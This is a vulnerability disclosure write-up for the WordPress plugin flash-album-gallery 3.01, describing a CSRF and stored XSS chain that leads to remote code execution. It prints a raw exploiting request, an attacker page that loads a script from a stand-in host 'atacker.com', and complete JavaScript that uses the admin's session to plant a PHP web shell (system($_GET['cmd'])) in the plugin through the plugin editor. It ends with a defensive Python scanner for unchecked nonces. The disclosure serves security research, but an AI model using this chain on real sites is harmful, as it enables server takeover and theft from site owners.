PLUGIN: http://wordpress.org/plugins/flash-album-gallery/
AFFECTED VERSION: 3.01
DOWNLOADS: 840,714
RISK: MEDIUM/HIGH
The following blog post addresses a critical (chain) of security issues
in the version 3.01 of flash-album-gallery
which eventually leads to remote code execution. The exploit is not
completely automatically and needs a minimal amount
of social engineering. Nevertheless I rate the danger at a medium/high
level {Probably even worse than a fully automatable SQL injection).
First of all, I need to say that the plugin code lacks a fair amount of
secure programming techniques and has inherent design flaws as far
as I can say this [I am not a software engineer, I do security as a
hobby]. Assumingly, this is a direct result of heterogenous and
evolutionary growth of the software.
I researched flash-album-gallery mainly in June 2013 and after some
weeks I found a CSRF vulnerability in combination with
a stored XSS. But on the same time I was preparing to contact the
author and reveal my findings, I noticed a new version and
the bug seemed to be found by an independent researcher. See below the
lines Fix: vulnerability with albums and Fix: XSS bugs reported by Ken S for the White Fir Design Bug
Bounty.
= v3.00 - 26.06.2013 =
* Fix: Free skins settings reset to default after plugin update
* Fix: XSS bugs reported by Ken S for the White Fir Design Bug Bounty
* Fix: small bugfixes
* New: iOS application 'MyPGC' for Flagallery plugin now available on the App Store
= v2.78 - 26.06.2013 =
* Fix: bundled free skins not copied to flagallery-skins directory
= v2.77 - 25.06.2013 =
* Fix: vulnerability with albums
* Fix: PHP Notices
* Fix: Compatibility with some modern themes
* Update: New version of swfupload
* Update: Compatibility with Wordpress SEO plugin
* Update: Update code for default skins
I considered the issue as solved [To my shame] and called the
researching an end and forgot about flash-album-gallery.
But currently, I was revisiting the code and saw that there is still
exactly the same issue with another variable and file.
The concerned file is music-box.php situated at /wp-content/plugins/flash-album-gallery/admin/music-box.php at LINE 17. This is the vulnerable function:
function flag_music_controler() {
if (isset($_POST['importfolder']) && $_POST['importfolder']){
check_admin_referer('flag_addmp3');
$mp3folder = $_POST['mp3folder'];
if ( !empty($mp3folder) )
flagAdmin::import_mp3($mp3folder);
}
$mode = isset($_REQUEST['mode'])? $_REQUEST['mode'] : 'main';
$action = isset($_REQUEST['bulkaction'])? $_REQUEST['bulkaction'] : false;
if($action == 'no_action') {
$action = false;
}
switch($mode) {
case 'sort':
include_once (dirname (__FILE__) . '/playlist-sort.php');
flag_playlist_order();
break;
case 'edit':
$file = urlencode($_GET['playlist']);
if(isset($_POST['updatePlaylist'])) {
$title = esc_html($_POST['playlist_title']);
$descr = esc_html($_POST['playlist_descr']);
$data = array();
foreach($_POST['item_a'] as $item_id => $item) {
if($action=='delete_items' && in_array($item_id, $_POST['doaction']))
continue;
$data[] = $item_id;
}
flagGallery::flagSaveWpMedia();
flagSavePlaylist($title,$descr,$data,$file);
}
if(isset($_POST['updatePlaylistSkin'])) {
flagSavePlaylistSkin($file);
}
include_once (dirname (__FILE__) . '/manage-playlist.php');
flag_playlist_edit();
break;
case 'save':
if(isset($_POST['items_array'])){
$title = esc_html($_POST['playlist_title']);
$descr = esc_html($_POST['playlist_descr']);
$data = $_POST['items_array'];
$file = isset($_REQUEST['playlist'])? urlencode($_REQUEST['playlist']) : false;
flagGallery::flagSaveWpMedia();
flagSavePlaylist($title,$descr,$data, $file);
}
if(isset($_GET['playlist'])) {
include_once (dirname (__FILE__) . '/manage-playlist.php');
flag_playlist_edit();
} else {
flag_created_playlists();
flag_music_wp_media_lib();
}
break;
case 'add':
if(isset($_POST['items']) && isset($_GET['playlist'])){
$added = $_POST['items'];
} elseif(isset($_GET['playlist'])) {
$added = $_COOKIE['musicboxplaylist_'.urlencode($_GET['playlist'])];
} else {
$added = false;
}
flag_music_wp_media_lib($added);
break;
case 'delete':
flag_playlist_delete(urlencode($_GET['playlist']));
case 'main':
if(isset($_POST['updateMedia'])) {
flagGallery::flagSaveWpMedia();
flagGallery::show_message( __('Media updated','flag') );
}
default:
flag_created_playlists();
flag_music_wp_media_lib();
break;
}
}
Well, alone in this function and its subsequent calls, there are more
security bugs than I can descibe here.
But to just name the one critical I mentioned before, this POST request
inserts tainted data into a file, which
is lateron echoed back to the admin menu which triggers an XSS.
============================================ EXPLOITING POST REQUEST ========================
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: {The wordpress cookie of the admin}
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
items_array[0]=notimportant&playlist_title=some_title&playlist_descr=some_description&mode=save&skinname="<script>alert(/Script Code/)</script>
=============================================================================================
Explanation:
Due to inpropper coding style, this request is not protected by a nonce,
which would prevent a CSRF attack. For explanation of nonces and why
they are impportant, look here:
http://www.prelovac.com/vladimir/improving-security-in-wordpress-plugins-using-nonces.
However, the author
probably intended to protect it with a nonce, because he actually
inserted one in the form field here:
<!-- #new_playlist -->
<div id="new_playlist" style="display: none;" >
<form id="form_new_playlist" method="POST" action="<?php echo $filepath; ?>" accept-charset="utf-8">
===> <?php wp_nonce_field('flag_thickbox_form'); ?>
<input type="hidden" id="new_playlist_mp3id" name="items_array" value="" />
<input type="hidden" id="new_playlist_bulkaction" name="TB_bulkaction" value="" />
<input type="hidden" name="mode" value="save" />
<input type="hidden" name="page" value="music-box" />
<table width="100%" border="0" cellspacing="3" cellpadding="3" >
Unfortunately, this nonce is actually never checked with a appropriate
function like
- wp_verify_nonce($nonce, $action = -1)
- check_ajax_referer( $action = -1, $query_arg = false, $die = true )
- check_admin_referer($action = -1, $query_arg = '_wpnonce')
Henceforth, alone this constitutes a XSRF, which for itself is a
security threat. Because of the missing nonce check in all cases of the
switch statement
in the above code excerpt, this requests for example deletes any album
specified by the GET parameter playlist http://localhost/wordpress/wp-admin/admin.php?page=flag-music-box&mode=delete&playlist={Which?}
But back to main issue. Remember that we can trick any wordpress admin
with a poisoned page and a installation with this plugin to execute
the above cases in the switch statement. Now consider the case save.
There is a call to a function named flagSavePlaylist().
This function saves a music playlist to a xml file. Every parameter
that is written to the xml file is propperly escaped with
functions like htmlspechialchars(). But one parameter is (strangely)
ignored. The variable $skin is populated with user
submitable input and later written to the xml file. (See below the two
arrows). Please note, that an exploitation attempt will lead to an error
message printed (See "!Error! ===>" below) because file_get_contents()
is
called with a string constructed with the tainted $skin variable.
Script code
rarily looks like valid paths. But this doesn't hinder the working of
the flow of the exploitation process.
file /wp-content/plugins/flash-album-gallery/admin/music-box.php at LINE 17:
function flagSavePlaylist($title,$descr,$data,$file='',$skinaction='') {
global $wpdb;
if(!trim($title)) {
$title = 'default';
}
$title = htmlspecialchars_decode(stripslashes($title), ENT_QUOTES);
$descr = htmlspecialchars_decode(stripslashes($descr), ENT_QUOTES);
if (!$file) {
$file = sanitize_title($title);
}
if(!is_array($data))
$data = explode(',', $data);
$flag_options = get_option('flag_options');
===> $skin = isset($_POST['skinname'])? $_POST['skinname'] : 'music_default';
if(!$skinaction) {
$skinaction = isset($_POST['skinaction'])? $_POST['skinaction'] : 'update';
}
$skinpath = trailingslashit( $flag_options['skinsDirABS'] ).$skin;
$playlistPath = ABSPATH.$flag_options['galleryPath'].'playlists/'.$file.'.xml';
if( file_exists($playlistPath) && ($skin == $skinaction) ) {
$settings = file_get_contents($playlistPath);
} else {
!Error! ===> $settings = file_get_contents($skinpath . "/settings/settings.xml");
}
$properties = flagGallery::flagGetBetween($settings,'<properties>','</properties>');
if(count($data)) {
$content = '<gallery>
<properties>'.$properties.'</properties>
<category id="'.$file.'">
<properties>
<title><![CDATA['.$title.']]]]><![CDATA[></title>
<description><![CDATA['.$descr.']]]]><![CDATA[></description>
===> <skin><![CDATA['.$skin.']]]]><![CDATA[></skin>
</properties>
<items>';
foreach( (array) $data as $id) {
$mp3 = get_post($id);
if($mp3->post_mime_type == 'audio/mpeg') {
$thumb = get_post_meta($id, 'thumbnail', true);
$content .= '
<item id="'.$mp3->ID.'">
<track>'.wp_get_attachment_url($mp3->ID).'</track>
<title><![CDATA['.$mp3->post_title.']]]]><![CDATA[></title>
<description><![CDATA['.$mp3->post_content.']]]]><![CDATA[></description>
<thumbnail>'.$thumb.'</thumbnail>
</item>';
}
}
$content .= '
</items>
</category>
</gallery>';
// Save options
$flag_options = get_option('flag_options');
if(wp_mkdir_p(ABSPATH.$flag_options['galleryPath'].'playlists/')) {
if( flagGallery::saveFile($playlistPath,$content,'w') ){
flagGallery::show_message(__('Playlist Saved Successfully','flag'));
}
} else {
flagGallery::show_message(__('Create directory please:','flag').'"/'.$flag_options['galleryPath'].'playlists/"');
}
}
}
Now we know that tainted [html/javascript] data is in a xml file. This
is not dangerous by itself [But really bad at least].
But what if this data is written back to the browser without
sanitation? Then we could write any script code within a admin
session.
But this is exactly what happens here in the file /wp-content/plugins/flash-album-gallery/admin/music-box.php at LINE 386:
<?php if($added===false) { ?>
<input name="updateMedia" class="button-primary" style="float: right;" type="submit" value="<?php _e('Update Media','flag'); ?>" />
<?php if ( function_exists('json_encode') ) { ?>
<select name="bulkaction" id="bulkaction">
<option value="no_action" ><?php _e("No action",'flag'); ?></option>
<option value="new_playlist" ><?php _e("Create new playlist",'flag'); ?></option>
</select>
<input name="showThickbox" class="button-secondary" type="submit" value="<?php _e('Apply','flag'); ?>" onclick="if ( !checkSelected() ) return false;" />
<?php } ?>
<a href="<?php echo admin_url( 'media-new.php'); ?>" class="button"><?php _e('Upload Music','flag'); ?></a>
<input type="hidden" id="items_array" name="items_array" value="" />
<?php } else { ?>
<input type="hidden" name="mode" value="save" />
<input style="width: 80%;" type="text" id="items_array" name="items_array" readonly="readonly" value="<?php echo $added; ?>" />
<input type="hidden" name="playlist_title" value="<?php echo esc_html(stripslashes($playlist['title'])); ?>" />
===> <input type="hidden" name="skinname" value="<?php echo $playlist['skin']; ?>" />
===> <input type="hidden" name="skinaction" value="<?php echo $playlist['skin']; ?>" />
<textarea style="display: none;" name="playlist_descr" cols="40" rows="1"><?php echo esc_html(stripslashes($playlist['description'])); ?></textarea>
<input name="addToPlaylist" class="button-secondary" type="submit" value="<?php _e('Update Playlist','flag'); ?>" />
<?php } ?>
Hence, the form which creates the request is also responsible for the
writing the tainted data back to the screen. If find it rather strange
that
all the other echo function usages are wrapped with esc_html()
calls
but it was forgotten that $playlist['skin'] holds tainted data as
well.
Maybe the changes in the last fix [As reported by 'Ken S'] weren't that
deep. But more likely, this is just another bug which hasn't been found
before.
Now what can an attacker do with this exploit?
He could gain access to the server and remote code execution for
example. Imagine we tricked an wordpress administrator which
still has valid admin cookies for his wordpress site [Which is quite
often the case when you look at your blog] into visiting a
site with a hidden form. You cold for example write a comment on the
wordpress site with a link to the attacking site, which incorporates
the attacking code below. This would be a quite strong attack, since
every wordpress administrator is happy to see comments on his site
[Source:
I am a wordpress admin myself]. Then he is genuinely interested to
follow the link. Why should he assume that it is dangerous? Lot's of
people leave
the link of their own sites in wordpress comment section. As soon as
the wordpress administrator [He needs to be logged in, which is normally
the case]
follows the link, the server is entirely busted. No need to crack
password hashes or find further privilege escalation ways. Why? See
below the code that
is executed if he follows the link:
<!DOCTYPE html>
<html>
<head>
<title>Stored XSS CSRF exploit.</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script>
function getXMLHttpRequestObject() {
var ref = null;
if (window.XMLHttpRequest) { // For recent browsers.
ref = new XMLHttpRequest();
} else if (window.ActiveXObject) { // Older IE 6,7,8
ref = new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
return ref;
}
function send_payload(payload) {
var TARGET_URL = "http://localhost/wordpress/wp-admin/admin.php?page=flag-banner-box&playlist=null&mode=edit";
var req = null;
req = getXMLHttpRequestObject();
req.onreadystatechange = function() {
if (req.readyState == 4 && req.status == 200) {
document.getElementById("success_indicator").innerHTML = "payload sent.";
}
}
req.open("POST", TARGET_URL, true);
req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
/* Build the post data */
var pd = {"playlist_title": "sometitle",
"playlist_descr": "some_description",
"mode": "save",
"skinname": '" ' + payload,
"item_array[0]": "notimportant"};
postdata = "";
for(var key in pd) {
postdata += (key + "=" + pd[key] + "&");
}
postdata = postdata.substr(0, postdata.length-1); // rstrip the last &
req.send(postdata);
}
</script>
</head>
<body>
<script>var payload = "<script type="text/javascript" src="http://atacker.com/exploit.js">//Nothin here</script>"; send_payload(payload);</script>
<div id="success_indicator"></div>
</body>
</html>
Then as soon as the payload is executed, the following exploit code is
loaded from another site which actually
does the evil stuff [See code above, the last lines are probably the
most interesting]. It basically uses the upload functionality in
wordpress to change plugincode.
This leads to remote code execution and the worst case scenario
happened: An attacker can issue system() calls with the permissions
of the web server.
The exploit code:
/*
* Copyright: Nikolai Tschacher.
* Site: incolumitas.com
* Easy as pie.
* What: Use this code when you found a stored XSS in a wordpress plugin to gain RCE.
* How: A wordpress admin needs to run this code in his browser with a valid session id.
* Idea: Mofify the flash-album-gallery plugin via wordpress admin panel.
*
* Note: This is actually nothing new. It's just one of many ways to gain RCE
* if you have a stored XSS in a wordpress session.
*/
// Without php tags
// HTML meta chars are in character entity references format.
var EXPLOIT_CODE = "\nif (isset($_GET['cmd'])&& !empty($_GET['cmd'])){ echo '<pre>';system($_GET['cmd']);echo '</pre>'; }";
// TARGET SETTINGS. Set stuff here.
var TARGET_WP_PATH = "http://localhost/wordpress";
var PLUGIN_EDITOR_URL = TARGET_WP_PATH + "/wp-admin/plugin-editor.php";
var PLUGIN_EDIT_URL = PLUGIN_EDITOR_URL + "?file=flash-album-gallery/flag.php";
function getXMLHttpRequestObject() {
var ref = null;
if (window.XMLHttpRequest) { // For recent browsers.
ref = new XMLHttpRequest();
} else if (window.ActiveXObject) { // Older IE 6,7,8
ref = new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
return ref;
}
/* Extract the nonce */
function exploit() {
var req = null;
req = getXMLHttpRequestObject();
req.onreadystatechange = function() {
if (req.readyState == 4 && req.status == 200) {
var res = /name="_wpnonce"\svalue=\"[a-z0-9]{10}\"/.exec(req.responseText);
if (res.length == 1) {
nonce = /[a-z0-9]{10}/.exec(res[0]);
} else { // The sites not available. Maybe the plugin is not installed?!
nonce = null;
}
modify_plugin(req.responseText, nonce);
}
}
req.open("GET", PLUGIN_EDIT_URL, true);
req.send();
}
/* Modify the plugin with malicous code with plugin editor */
function modify_plugin(responseText, nonce) {
// Get the plugin code
// On each wordpress plugin edit site, there's just one textarea tag.
// The plugin code itself lies between the textarea tags.
// These regexes aren't really good.
var startIndex = responseText.match(/<textarea.*?name="newcontent".*?>/);
var stopIndex = responseText.match(/<\/textarea>/);
pluginCode = responseText.substring(startIndex.index+startIndex[0].length, stopIndex.index);
// add our exploit code at the beginning of the plugin after the "// Stop direct call" comment.
if (/((\/){2}\sStop\sdirect\scall)/.test(pluginCode)) {
pluginCode = pluginCode.replace(/((\/){2}\sStop\sdirect\scall)/, "$1" + EXPLOIT_CODE);
} else {
// Let's go for the first line after the obligatory wp plugin comment and lets use the closing comment
// characters */ as needle as a fallback.
pluginCode = pluginCode.replace(/^(\*\/)/m, "$1" + "\n" + EXPLOIT_CODE);
}
// We need to consider that the plugin code in this state is making use of Character entity references
// for all html meta characters like " ' < > & \ to avoid them of being interepreted as markup.
// We need to replace them with their "real" characters, before we send the plugin as post data.
pluginCode = removeCharEntityReferences(pluginCode);
// Ready to build our POST request
preq = getXMLHttpRequestObject();
preq.onload = function () {
if (preq.readyState == 4 && preq.status == 200) {
var successPattern = /File\sedited\ssuccessfully./;
if (successPattern.test(preq.responseText))
alert("Done.");
// Notify the attacker that the exploit has been spawned.
else
alert("Nope.");
}
};
preq.open("POST", PLUGIN_EDITOR_URL, true);
preq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
pd = {
_wpnonce: nonce,
_wp_http_referer: PLUGIN_EDIT_URL + "&a=te&scrollto=0",
a: "",
scrollto: "192",
newcontent: encodeURIComponent(pluginCode),
action: "update",
file: "flash-album-gallery/flag.php",
plugin: "flash-album-gallery/flag.php",
submit: "Update+File"
};
// Build the post data.
postdata = "";
for (var key in pd) {
postdata += (key + "=" + pd[key] + "&");
}
postdata = postdata.substr(0, postdata.length-1); // rstrip the last &
preq.send(postdata);
}
/*
* Removes the HTML char entity references for the HTML meta characters.
*/
function removeCharEntityReferences(data) {
if ((typeof data) !== "string") {
throw new TypeError("data needs to be a string");
return null;
}
data = data.replace(/"/g, "\"");
data = data.replace(/'/g, "'");
data = data.replace(/</g, "<");
data = data.replace(/>/g, ">");
data = data.replace(/&/g, "&");
return data;
}
exploit();
Conclusion
What was shown above, is just one specific bug in the
flash-album-gallery plugin. I think that there might be lots more. If
you want to see me notes
of my work, please visit the following file I made during my research
at very bottom of this [large] mail.
But honestly, I have to say you that there are still lots of bugs in the
code and that it would need a rather large amount of time and
some dull hours of work to locate the vast majority of them [Forget
about finding all bugs in software in general]. This means, that I
won't continue spending a lot of time on this project.
Additionally, I have sent this writeup to the wordpress-security bug
bounty program because you know, I would always be happy for some dimes
to
keep my server runnin :D
If you have questions, feel free to contact me.
I am going to publish this mail on my blog as soon as you guys updated
the code and the users had some time to switch versions. But please keep
in mind:
I would really do some serious work in order to find all the bugs!
I advise to uninstall it and NOT use this plugin, before big changes are made to improve the security architecture.
PS: Maybe you are interested too have a look on the script I wrote to locate bugs like this:
# PYTHON NONCE INCONSISTENT USE REVEALER
# COPYRIGHT: Nikolai Tschacher
# Site: incolumitas.com
# Walks thorugh a plugin and tries to reveals some inconsistency with nonces which
# could lead to some vulnerabilities. Sometimes, nonces are created, but never validated.
# Just a nonce itself does nothing, the action must be actually confirmed.
# This simply finds all nonces and looks if some stay unchecked. If this is the case, the
# nonce is useless and there's maybe a threat.
# About: http://www.prelovac.com/vladimir/improving-security-in-wordpress-plugins-using-nonces
import argparse
import fnmatch
import os
import re
DEBUG = False
# If a nonce is created but never checked with wp_verify_nonce() (or descendants), the nonce is
# senseless and no security barrier at all. This script tries to find this flaw.
# Nonces are random, one time tokens which are usally send with a critical request/form
# a user can execute in a application. Before the action takes place, the app has to confirm
# that the nonce is the same as genertated while the form was crafted. If this is not the case,
# a user is most likely tricked into submitting a form without his consent, since he has never
# seen the form and thus the nonce hasn't been created and automatically submitted. This prevents
# CSRF attacks and makes most sql injections and xss attacks rather hard.
# Approach: We treat simply all strings between braces as possible action arguments. There will be
# a lot of false positives. But making the regex accurate is simply not feasible because the function
# calling syntax is ways to hard to parse [lazy and yeah, guilty :D]
R_NONCE_CREATION = re.compile(r'(wp_nonce_field|wp_create_nonce|wp_nonce_url)(\s*)\(.*?\)')
R_STRING = re.compile(r'(\'|").*?\1')
# Nonces are normally confirmed before the critical action in wp code begins.
# There are several functions to confirm nonces depending on the situation
# the form/actions orign. They can be found in \wp-includes\pluggable.php
# - wp_verify_nonce($nonce, $action = -1)
# - check_ajax_referer( $action = -1, $query_arg = false, $die = true )
# - check_admin_referer($action = -1, $query_arg = '_wpnonce')
R_NONCE_CHECK = re.compile(r'(check_ajax_referer|wp_verify_nonce|check_admin_referer)(\s*)\(.*?\)')
matches = []
checked = []
def apply_on_file_content(root_path, callback):
pattern = '.php'
for root, dirs, files in os.walk(root_path):
for fname in files:
if pattern in fname:
with open(os.path.join(root, fname), 'r') as f:
callback(f.read(), fname)
def noncescan(fdata, fname):
scan_nonce_creation(fdata, fname)
verify_nonces(fdata, fname)
# Returns a list of all nonces created. Very greedy approach.
def scan_nonce_creation(fdata, fname):
dmsg('[+] Scanning for nonces in {0}'.format(fname))
for m in R_NONCE_CREATION.finditer(fdata):
for s in R_STRING.finditer(m.group()):
matches.append(s.group())
# Checks with a list if the nonce was verified.
def verify_nonces(fdata, fname):
dmsg('[+] Verifing found actions in {0}'.format(fname))
for m in R_NONCE_CHECK.finditer(fdata):
for s in R_STRING.finditer(m.group()):
checked.append(s.group())
def report():
# Now the two lists 'matches' and 'checked' both hold
# all the found $action string arguments that were passed
# to the nonce creation functions and again when the nonce
# was to be checked. We strip duplicates in both lists and show which
# remain in 'matches' and aren't in 'checked'.
# remark: python is magical!
clean = lambda x: [i.replace('"', '').replace("'", '') for i in x if not re.search(r'[^a-zA-Z0-9_\'"]', i)]
m = set(clean(matches))
c = set(clean(checked))
z = m - c
print(''' [!] Found {0} strings within nonce creation functions and
{1} strings in nonce confirming functions. There remain {2}
strings that are in nonce creation functions, but aren't in
confirming functions.'''.format(len(m), len(c), len(z)))
print(z)
# Simple debugging function.
def dmsg(s):
if DEBUG:
print(s)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("basedir", help="starting directory of analysis", type=str)
args = parser.parse_args()
apply_on_file_content(args.basedir, noncescan)
report()